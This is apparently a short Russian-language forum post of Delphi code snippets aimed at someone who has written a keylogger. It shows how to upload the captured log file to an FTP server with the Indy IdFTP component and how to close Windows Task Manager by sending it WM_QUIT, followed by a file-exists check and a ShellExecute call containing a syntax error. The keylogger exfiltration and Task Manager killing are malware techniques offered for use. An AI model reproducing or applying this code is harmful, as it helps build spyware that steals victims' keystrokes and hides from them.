Вы написали кейлоггер! Вам нужно отправить лог на фтп сервак? Вот и решение:
Code
IdFTP.Host := 'Host name'; // указываем хост FTP сервера
IdFTP.Port := 21; // указываем порт FTP сервера (по умолчанию 21)
IdFTP.Username := 'Login'; // указываем логин FTP сервера
IdFTP.Password := 'Pass'; // указываем пароль FTP сервера
IdFTP.Connect; // соединяемся с FTP сервером
IdFTP.Put('log.txt', 'log.txt', False); // отправляем файл FTP серверу
IdFTP.Disconnect; // отсоединяемся от FTP сервера
Компонент: IdFTP
Все!
А вот еще убиваем диспетчера
Code
PostMessage(FindWindow(Nil, 'Диспетчер задач Windows'), WM_QUIT, 0, 0);
Порверяем существует файл на диске или нет?
Code
var
FileName : string;
begin
FileName := 'С:\prog.exe';
if FileExists(FileName) then
ShowMessage('Файл существует')
else
ShowMessage('Файл не существует')
end;
Как программно открыть файл или папку. (ShellAPI)!
Code
ShellExecute(Handle,'Open',Pchar('C:\file.exe),nil,nil,1);
УВСЕ!
Зэ ЭНД?